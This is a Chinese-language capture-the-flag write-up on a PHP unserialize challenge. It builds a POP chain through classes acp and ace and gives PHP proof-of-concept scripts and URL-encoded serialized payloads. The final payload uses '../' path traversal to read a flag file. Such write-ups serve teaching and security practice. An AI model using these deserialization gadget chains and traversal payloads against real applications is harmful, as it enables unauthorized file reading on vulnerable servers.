这道题,我认为有必要好好写一下WP,因为这道题的有一些点还是比较有趣的,我也是第一次见;师傅们放心观看WP,我保证讲的清清楚楚的(笑),下面正式开始讲解;
首先这种反序列化的题目,需要先从获取Flag的函数开始一步一步的往前面做,在这道题中我们一来就发现了include 'flag.php';
所以我们不难想到Flag可能就存放在flag.php文件中,那么我们继续往下面看代码,去找一下有没有危险的函数可以让我们读flag.php的内容;我们在Class ace中发现了file_get_contents()函数,这个函数的功能是将文件读取,因此我们只需要file_get_contents(flag.php)即可读取到flag;
前面我们说了需要先从获取Flag的函数开始一步一步的往前面做,我们现在找到了获取Flag的函数,接下来我们需要去寻找如何才能调用Class ace中的file_get_contents()函数,即为去寻找如何才能调用Class ace中的echo_name()函数。
我们可以在Class acp类中的__toString()魔术方法中发现存在echo_name()函数的调用;
接下来自然而然的是,继续往前面递推,去寻找什么能够调用Class acp类中的__toString()魔术方法;那么我们需要知道__toString()魔术方法的相关知识;
在这里我进行一下总结:
- 对一个对象进行echo操作或者print操作会触发__toString;
- 声明的变量赋值为对象后与字符串做弱类型比较的时候就能触发__toString;
Eg. [NISACTF 2022]babyserialize
- 声明的变量赋值为对象后进行正则匹配的时候就能触发__toString;
Eg. [NISACTF 2022]popchains
- 声明的变量被赋值为对象后进行strolower的时候就能触发__toString;
Eg. [NISACTF 2022]popchains
总结一下:其实__toString的触发方法就是:将对象当作字符串使用,我个人是这么理解的,如果有那里不对,还请师傅们指正;
回到题目中来,我们会发现Class acp中的__construct()构造函数中对$cinder进行了实例化,而__construct()构造函数在实例化一个对象的时候就会被调用;
然后我们发现,程序接受了参数后会先进行反序列,然后echo 反序列后的对象;
因此如果我们传入pks后,$logData会变成一个对象,然后又echo $logData,就会使得调用其对应的__toString()魔术方法;
下面我们总结一下POP链的构造:
整体流程思路 :
Class ace -> echo_name()
Class acp -> __toString()
Class acp -> __construct()
由于上面的思路是倒推出的,所以编写POC的时候,要反着编写;
我们先想办法触发Class acp->__construct(),在这里我们只需要编写下面的POC即可实现触发:
<?php
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
}
//触发Class acp -> __construct()
$a = new acp();
echo urlencode(serialize($a));
然后根据题目要求GET传参给pks即可
我们可以发现这里输出了Pk very safe^.^,说明我们上面的POP链调用到了Class pkshow中的echo name(),是因为我们的POC中$a = new acp();,然后将$a序列化后传递给pks进行反序列化后赋值给$logData,$logData又被echo操作了;
所以就会调用acp类中的__toString()魔法方法,即为调用了$this->cinder->echo_name()这段代码,而根据acp类的默认构造方法,$this->cinder = new pkshow;所以在这里调用到了Class pkshow中的echo name();
而我们只需要修改Class acp里面的__construct()构造函数里面的内容为:
$cinder = new ace;即可控制程序调用Class ace中的echo name();
POC如下,传参后发现我们成功来到了Class ace中的echo_name()函数的位置:
<?php
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
//触发
$this->cinder = new ace;
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
}
//触发Class acp -> __construct()
$a = new acp();
echo urlencode(serialize($a));
接下来我们分析一下Class ace中的echo_name(),我们可以发现需要满足$this->$openstack->neutron === $this->openstack->nova
然后在上面有$this->$openstack = unserialize($this->docker),因此只要我们使得$this->docker =null,然后让$this->filename=”flag.php”即可使得上面的判断成立,并且读取flag.php的内容;
<?php
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename="flag.php";
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
//触发Class acp -> __construct()
$a = new acp();
$b = new ace();
$b->docker=null;
echo urlencode(serialize($a));
传参:
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
然后查看源码:
得到提示:"flag in /nssctfasdasdflag";
然后我们再修改一下$this->filename= nssctfasdasdflag
<?php
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename="nssctfasdasdflag";
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
//触发Class acp -> __construct()
$a = new acp();
$b = new ace();
$b->docker=null;
echo urlencode(serialize($a));
传参:
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22nssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
发现失败了,没有得到Flag,提示keystone lost~;分析了很久!!!
最开始以为是没有成功绕过,但是其实绕过是成功的!!!在这里之所以会输出keystone lost~,是因为我们读取的nssctfasdasdflag是不存在的;
因此我们尝试读取上一级目录的nssctfasdasdflag,即:读取../nssctfasdasdflag,修改后POC如下:
<?php
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename="../nssctfasdasdflag";
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
//触发Class acp -> __construct()
$a = new acp();
$b = new ace();
$b->docker=null;
echo urlencode(serialize($a));
传参:
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
总结一下:第五空间的题目(快跑!!!!有毒)小细节真多
By:SlackMoon 2023.6.5